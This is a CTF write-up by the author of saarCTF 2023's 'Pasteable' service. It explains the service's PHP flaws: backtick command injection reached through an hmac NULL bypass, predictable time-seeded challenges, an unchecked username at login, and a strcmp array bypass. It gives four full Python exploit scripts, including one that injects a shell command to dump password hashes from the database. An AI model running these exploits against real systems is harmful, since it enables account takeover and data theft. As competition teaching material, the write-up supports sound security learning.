Saarsec

saarsec

Schwenk and pwn

saarCTF 2023 - Pasteable

Pasteable Writeup

Pasteable is a lightweight, self-hosted service for storing and sharing encrypted notes called “pastes”. You can store any text-based information on it and share it with your friends, who can decrypt the paste with a secret passphrase you have created.

1. Exploration

At first glance, the service does not look very complicated. It follows the following folder structure:

pasteable/
├── admin/
│   ├── home/
│   └── paste/
├── css/
│   ├── lib/
│   └── webfonts/
├── fonts/
├── func/
│   └── lib/
├── img/
├── includes/
├── js/
│   └── lib/
└── reveal/

While most of the folders are not of interest for an attacker, func and admin should have caught your attention. The following section will shortly summarize the key discoveries, that are important for exploitation.

1.1 Admin dashboard (+ NTP)

If you log in with a new user account and navigate to localhost:8080/admin/home, you will promptly notice that it is the main dashboard of the application, showing all existing pastes of that specific user with decrypted information. Further decryption using the specified key is not required here! While further exploring the admin dashboard, you may have also noticed the “Purge Pastes” function, which calls the Javascript function callNTP():

/**
 * Make Network-Time-Protocol
 * API-Call
 */
function callNTP() {
  $.get('../../func/ntp.php', function(response) {
    CONFIRMATION_TIMESTAMP = response.trim();
    $('#timestamp').html(CONFIRMATION_TIMESTAMP);
  });
}

The script sends a GET request to a backend script and receives a current timestamp. This is a little suspicious, as Javascript can do this itself. Since we know the source code, we can examine the /func/ntp.php file a little more closely:

// Network-Time-Protocol API

// variables and configs
require("../func/config.php");

// ensure that requester knows super-duper-secret
$additional_time_formatter = (isset($_GET['modifiers'])) ? $_GET['modifiers'] : "";
$caller_nonce = (isset($_GET['nonce'])) ? $_GET['nonce'] : "";
$caller_checksum = (isset($_GET['checksum'])) ? $_GET['checksum'] : "";

if(isset($_GET['modifiers'])) {
    $nonce_hash = hash_hmac('sha256', $caller_nonce, $APP_SECRET);
    $checksum = hash_hmac('sha256', $additional_time_formatter, $nonce_hash);

    // if the checksum is wrong, the requester is a bad guy who
    // doesn't know the secret
    if($checksum !== $caller_checksum) {
        die("ERROR: Checksum comparison has failed!");
    }
}
// print current time
$time_command = ($APP_HOST === 'win') ? "date /t && time /t" : "date";
$requested_time = `$time_command $additional_time_formatter`;
echo preg_replace('~[\r\n]+~', '', $requested_time);

We realize two things: a) the file can return much more than just a timestamp and b) it allows adding “additional formatters” for the requested timestamp that need to be verified with a hash comparison that depends on the app’s internal secret key. Why is this interesting? Well, if we follow the code until the second-last line, we can see how the timestamp is calculated: with PHP’s backtick operator. This operator is equivalent to shell_exec() in PHP, exec() in Python or eval() in Javascript. The additional formatters are simply appended to the previously defined time command string. Interesting!

1.2 Login logic

Another interesting point is the login page itself, before entering the actual dashboard. The source code of /admin/index.php points us to /js/login.js, which contains the function submitLogin(), specified as follows:

/**
 * Handle POST requests to backend
 */
function submitLogin() {

    if(validateUsername($('#username').val()) && validatePass($('#password').val())) {
        let username = $('#username').val();
        let passHash = CryptoJS.SHA256($('#password').val()).toString();
        $.post('../func/challenge.php', {username: username})
            .done(function(challengestr) {
                if (challengestr !== 'ok') {
                    let key = CryptoJS.enc.Hex.parse(passHash);
                    let challenge = CryptoJS.lib.CipherParams.create({
                        ciphertext: CryptoJS.enc.Hex.parse(challengestr),
                        iv: CryptoJS.enc.Hex.parse(passHash.substring(0, 32)),
                        padding: CryptoJS.pad.NoPadding
                    });
                    let solution = "";    
                    try {
                        solution = CryptoJS.AES.decrypt(challenge, key, challenge).toString(CryptoJS.enc.Utf8).trim();
                    } catch (e) {
                        // ignore decoding errors
                    }
                    $.post('../func/login.php', {username: username, solution: solution})
                        .done(function() {
                            window.location.href += "/home";
                        })
                        .fail(function() {
                            showError("Invalid user credentials");
                        });
                }else{
                    $.post('../func/register.php', {username: username, password: passHash})
                        .done(function() {
                            window.location.href += "/home";
                        })
                        .fail(function() {
                            showError("Invalid user credentials");
                        });
                }
            })
            .fail(function() {
                showError("Invalid user credentials");
            });
    }
}

We learn a lot about the login procedure, for example, that our client decrypts some cryptographic challenge before it’s allowed to pass: see below.

1.2.1 Challenge generation

After discovering the login logic, you should have come across the challenges that the browser calculates to log a user into their account. Here is the relevant passage from login.js, as seen above:

let key = CryptoJS.enc.Hex.parse(passHash);
let challenge = CryptoJS.lib.CipherParams.create({
    ciphertext: CryptoJS.enc.Hex.parse(challengestr),
    iv: CryptoJS.enc.Hex.parse(passHash.substring(0, 32)),
        padding: CryptoJS.pad.NoPadding
    });
let solution = "";    
try {
    solution = CryptoJS.AES.decrypt(challenge, key, challenge)
        .toString(CryptoJS.enc.Utf8).trim();
} catch (e) {
    // ignore decoding errors
}

The client hashes the entered password with SHA256 and uses this as a key, which is later used to decrypt a crypto challenge provided by the backend /func/challenge.php. This file is of particular interest:

 // user exists -> generate challenge
$challenge = generateChallenge();
$key = hex2bin($userpassword);
$iv = substr($key, 0, 16);
$challenge_enc = openssl_encrypt($challenge, "AES-256-CBC", $key, OPENSSL_RAW_DATA, $iv);
echo bin2hex($challenge_enc);

We can easily learn how challenges are created using generateChallenge(), which again has some really interesting flaw:

/**
 * Generates a new challenge
 *
 * @return string
 */
function generateChallenge() {
    mt_srand(time()); // <--- take a look here

    $strength = 6;
    $alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $l = strlen($alpha);
    $random_string = '';
    for($i = 0; $i < $strength; $i++) {
        $random_character = $alpha[mt_rand(0, $l - 1)];
        $random_string .= $random_character;
    }

    $_SESSION['challenge'] = $random_string;
    return $random_string;
}

From what we can read here, it appears that the random numbers used to generate challenges are generated with a Mersenne Twister RNG initialized with a seed: mt_srand(time()). This is a strong indicator for a possible race condition.

1.2.2 Challenge verification

The challenges seem to be highly vulnerable. Even the checks performed to verify the decrypted challenge sent by the client is faulty:

if(!isset($_SESSION['challenge']) || !(strcmp($_POST['solution'], $_SESSION['challenge']) == 0)){
    header('HTTP/1.0 403 Forbidden');
    die("No valid challenge found");
}

PHP 7.4 has some serious issues with strange behavior on unexpected input. For example, when a string and an array are passed to strcmp(), the result returned is NULL. Since the developer failed to use strict comparison (===) to check the return value, we also have a type juggling vulnerability that allows 0 == NULL to evaluate to true.

2. Exploitation

Now, that we have examined the most interesting parts of the service, we can start hacking. I want to showcase four exploits for pasteable, eventhough there are much more possible approaches. For exploits with more comments and explanations, check out our official saarCTF 2023 repository.

2.1 Remote-Code-Execution (RCE)

We first discovered and examined the admin dashboard, were we stumbled across the “Purge Pastes” feature of pasteable. We also recognized the backtick operator, which was utilized to compute the current timestamp. Our goal is to abuse $additional_timer_formatter to inject own commands, which are then executed on the victims machine. Let’s take again a look into the performed checks:

$additional_time_formatter = (isset($_GET['modifiers'])) ? $_GET['modifiers'] : "";
$caller_nonce = (isset($_GET['nonce'])) ? $_GET['nonce'] : "";
$caller_checksum = (isset($_GET['checksum'])) ? $_GET['checksum'] : "";

if(isset($_GET['modifiers'])) {
    $nonce_hash = hash_hmac('sha256', $caller_nonce, $APP_SECRET);
    $checksum = hash_hmac('sha256', $additional_time_formatter, $nonce_hash);

    // if the checksum is wrong, the requester is a bad guy who
    // doesn't know the secret
    if($checksum !== $caller_checksum) {
        die("ERROR: Checksum comparison has failed!");
    }
}

To summarize, if additional formatters are passed as GET parameters ($_GET['modifiers']), a nonce controlled by the requester is sha256-hashed using PHP’s hash_hmac function and the internal app-secret as the key. This nonce is then used as the key for another hash_hmac operation where the passed time formatters are again sha256-hashed. Secondly, the hash $checksum calculated must match the specified $caller_checksum. This way, the developer wants to ensure that the requesting client knew the app secret (i.e. the frontend) and therefore has the confidence to add additional formatters.

However, hash_hmac() in PHP 7.4 returns NULL if $data is not of type string. Since we control the data input that is used to calculate $nonce_hash, we can predict its value without knowing the actual key: It will be NULL. Next, it passes $nonce_hash = NULL as $key to hash_hmac. Thus, we are able to use arbitrary time formatters, i.e. execute arbitrary commands through the backtick operator, even without knowing the app-secret!

For example, we could take another user’s password from the database and log in to their account to read their decrypted pastes. To do this, we would need the knowledge acquired in chapter 1.2. A simple exploit could look like this:

import base64
import hmac
import sys
import requests
from Crypto.Cipher import AES

def get_password_hash(target, username):
    cmd = f">/dev/null; mysql pasteable -e \"SELECT user_pass FROM user_accounts WHERE user_name = '{username}'\"|base64"
    checksum = hmac.new(key=b'', msg=cmd.encode(), digestmod='sha256').hexdigest()
    res = requests.get(
        f"http://{target}:8080/func/ntp.php", params={
            'modifiers': cmd,
            'nonce[]': ['', ''],
            'checksum': checksum})
    tab = base64.b64decode(res.text).decode()
    passwd_hash = tab.strip().splitlines()[-1]
    return passwd_hash


def exploit_one(target, username):
    password_hash = get_password_hash(target, username)
    sess = requests.Session()
    response = sess.post(f'http://{target}:8080/func/challenge.php', data={'username': username})

    challenge = bytes.fromhex(response.text)

    key = bytes.fromhex(password_hash)
    iv = key[:16]
    solution = AES.new(key, AES.MODE_CBC, iv=iv).decrypt(challenge).strip().decode()

    response = sess.post(f'http://{target}:8080/func/login.php', data={'username': username, 'solution': solution})

    assert response.status_code == 200

    return sess.get(f'http://{target}:8080/admin/home/').text


def exploit(target: str, flag_ids_username: list[str]):
    for flag_id in flag_ids_username:
        try:
            print(f'Attacking {flag_id}')
            result = exploit_one(target, flag_id)
            print(result)
        except Exception as e:
            raise e


if __name__ == '__main__':
    exploit(sys.argv[1], sys.argv[2].split(','))

2.2 Login bypasses

Instead of abusing the NTP implementation to get full control over the vicitims machine, we could also try to get into user accounts and steal their pastes. There were plenty of methods to bypass the login.

2.2.1 Bad randomness

Here we could abuse the bad randomness, as described in section 1.2.1, to precompute the challenge before it is sent to the client. To solve the crypto challenge, we would need to know the user’s password, which we don’t do in our scenario, to decrypt the random string and send it back to the server. This exploitation is possible due to the seed used when generating the challenges:

/**
 * Generates a new challenge
 *
 * @return string
 */
function generateChallenge() {
    mt_srand(time());

    $strength = 6;
    $alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $l = strlen($alpha);
    $random_string = '';
    for($i = 0; $i < $strength; $i++) {
        $random_character = $alpha[mt_rand(0, $l - 1)];
        $random_string .= $random_character;
    }

    $_SESSION['challenge'] = $random_string;
    return $random_string;
}

A very simple exploit could look as follows:

import sys
import time
import requests
from php_mt19937 import MT

MAX_OFFSET = 10

def precompute_challenge(seed, length=6):
    alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    r = MT(seed)
    return ''.join(alpha[r.mt_rand(0, len(alpha)-1)] for _ in range(length))


def exploit_one(target, username):
    sess = requests.Session()
    response = sess.post(f"http://{target}:8080/func/challenge.php", data={'username': username})
    print(f"Got challenge {response.text}")

    # Recompute possible solutions
    now = int(time.time())
    candidate_solutions = [precompute_challenge(now + i) for i in range(-MAX_OFFSET, MAX_OFFSET)]

    # Try all of them until one works
    for solution in candidate_solutions:
        print(f"Trying solutions \"{solution}\"")
        response = sess.post(f'http://{target}:8080/func/login.php', data={'username': username, 'solution': solution},
                             timeout=10)
        print(f"Got: {response.text}")
        if response.status_code == 200:
            break
    else:
        return None

    # Get home page
    return sess.get(f"http://{target}:8080/admin/home").text


def exploit(target: str, flag_ids_username: list[str]):
    for flag_id in flag_ids_username:
        print(f'Attacking {flag_id}')
        result = exploit_one(target, flag_id)
        print(result)


if __name__ == '__main__':
    exploit(sys.argv[1], sys.argv[2].split(','))

2.2.2 Weak authentication

As learned in chapter 1.2, we know that after we solved the crypto challenge successfully another request is sent to /func/login.php. This is the script that actually logs us in. But it lacks of some security checks, if the username provided for the challenge is still the same:

destroyChallenge();
$username = $_POST['username'];
$stmt = $MYSQLI->prepare("SELECT user_id FROM user_accounts WHERE user_name = ? LIMIT 1");

if (
	$stmt &&
	$stmt -> bind_param('s', $username) &&
	$stmt -> execute() &&
	$stmt -> store_result() &&
	$stmt -> bind_result($userid) &&
	$stmt -> fetch()
) {
    // user exists
    $_SESSION['last_login'] = date("Y-m-d H:i:s", time());
    $_SESSION['id'] = $userid;
    $_SESSION['name'] = $username;
    // set new state
    $_SESSION['authenticated'] = "yes";
} else {
    // wrong data!
    $_SESSION['last_login'] = date("Y-m-d H:i:s", time());
    header('HTTP/1.0 403 Forbidden');
}

It simply accepts our parameter $POST['username'] without checking that it hasn’t been spoofed or anything like that. This allows us to:

Let’s have a look into our example exploit:

import hashlib
import random
import string
import sys
import requests
from Crypto.Cipher import AES

def rand_str(length=16):
    return "".join(random.choice(string.ascii_letters + string.digits) for _ in range(16))


def register_new_user(target):
    username = rand_str()
    password = rand_str()
    password_hash = hashlib.sha256(password.encode()).hexdigest()
    response = requests.post(f'http://{target}:8080/func/register.php',
                             data={'username': username, 'password': password_hash})
    assert response.status_code == 200
    return username, password_hash


def exploit_one(target, username, exploit_user, exploit_pw_hash):
    sess = requests.Session()
    response = sess.post(f'http://{target}:8080/func/challenge.php', data={'username': exploit_user})

    challenge = bytes.fromhex(response.text)
    key = bytes.fromhex(exploit_pw_hash)
    iv = key[:16]
    solution = AES.new(key, AES.MODE_CBC, iv=iv).decrypt(challenge).strip().decode()
    response = sess.post(f'http://{target}:8080/func/login.php', data={'username': username, 'solution': solution})

    assert response.status_code == 200

    return sess.get(f'http://{target}:8080/admin/home/').text


def exploit(target: str, flag_ids_username: list[str]):
    exploit_user, exploit_pw_hash = register_new_user(target)
    for flag_id in flag_ids_username:
        try:
            print(f'Attacking {flag_id}')
            result = exploit_one(target, flag_id, exploit_user, exploit_pw_hash)
            print(result)
        except Exception as e:
            raise e


if __name__ == '__main__':
    exploit(sys.argv[1], sys.argv[2].split(','))

2.2.3 Type juggling, again

Another way to get around the login’s challenge procedure is possible due to the use of PHP’s strcmp method, which again acts strange on unexpected inputs: passing an array as parameter to it will lead strcmp($string1, array()) to evaluate to NULL. Thanks to another weak comparison, we can abuse the same vulnerability similar to what we have seen in 2.1:

if(!isset($_SESSION['challenge']) || !(strcmp($_POST['solution'], $_SESSION['challenge']) == 0)){
    header('HTTP/1.0 403 Forbidden');
    die("No valid challenge found");
}

We just need to send an array as a challenge and the above check will let us through without any problems.

Here’s the exploit:

import sys
import requests

def exploit_one(target, username):
    sess = requests.Session()
    response = sess.post(f"http://{target}:8080/func/challenge.php", data={'username': username})
    print(f"Got challenge {response.text}")

    # Send array as solution
    response = sess.post(f'http://{target}:8080/func/login.php', data={'username': username, 'solution[]': ['', '']},
                         timeout=10)
    print(f"Got: {response.text}")
    if response.status_code != 200:
        return None

    return sess.get(f"http://{target}:8080/admin/home").text


def exploit(target: str, flag_ids_username: list[str]):
    for flag_id in flag_ids_username:
        print(f'Attacking {flag_id}')
        result = exploit_one(target, flag_id)
        print(result)


if __name__ == '__main__':
    exploit(sys.argv[1], sys.argv[2].split(','))

3. Conclusion

This was my very first service for a CTF. It is therefore designed to be relatively easy to understand. The RCE vulnerability is, in my opinion, one of the coolest in the service, but has unfortunately led to some problems in the CTF due to poor sandboxing. I sincerely apologize for this. I hope you had some fun exploring the service and getting your first flags quickly :) After we limited the possibilities for the RCE, I had the feeling that the service was much more stable for the majority of the teams. I’d love to see some other writeups for it in the future. Thanks for playing, and congrats to C4T BuT S4D for First Blood!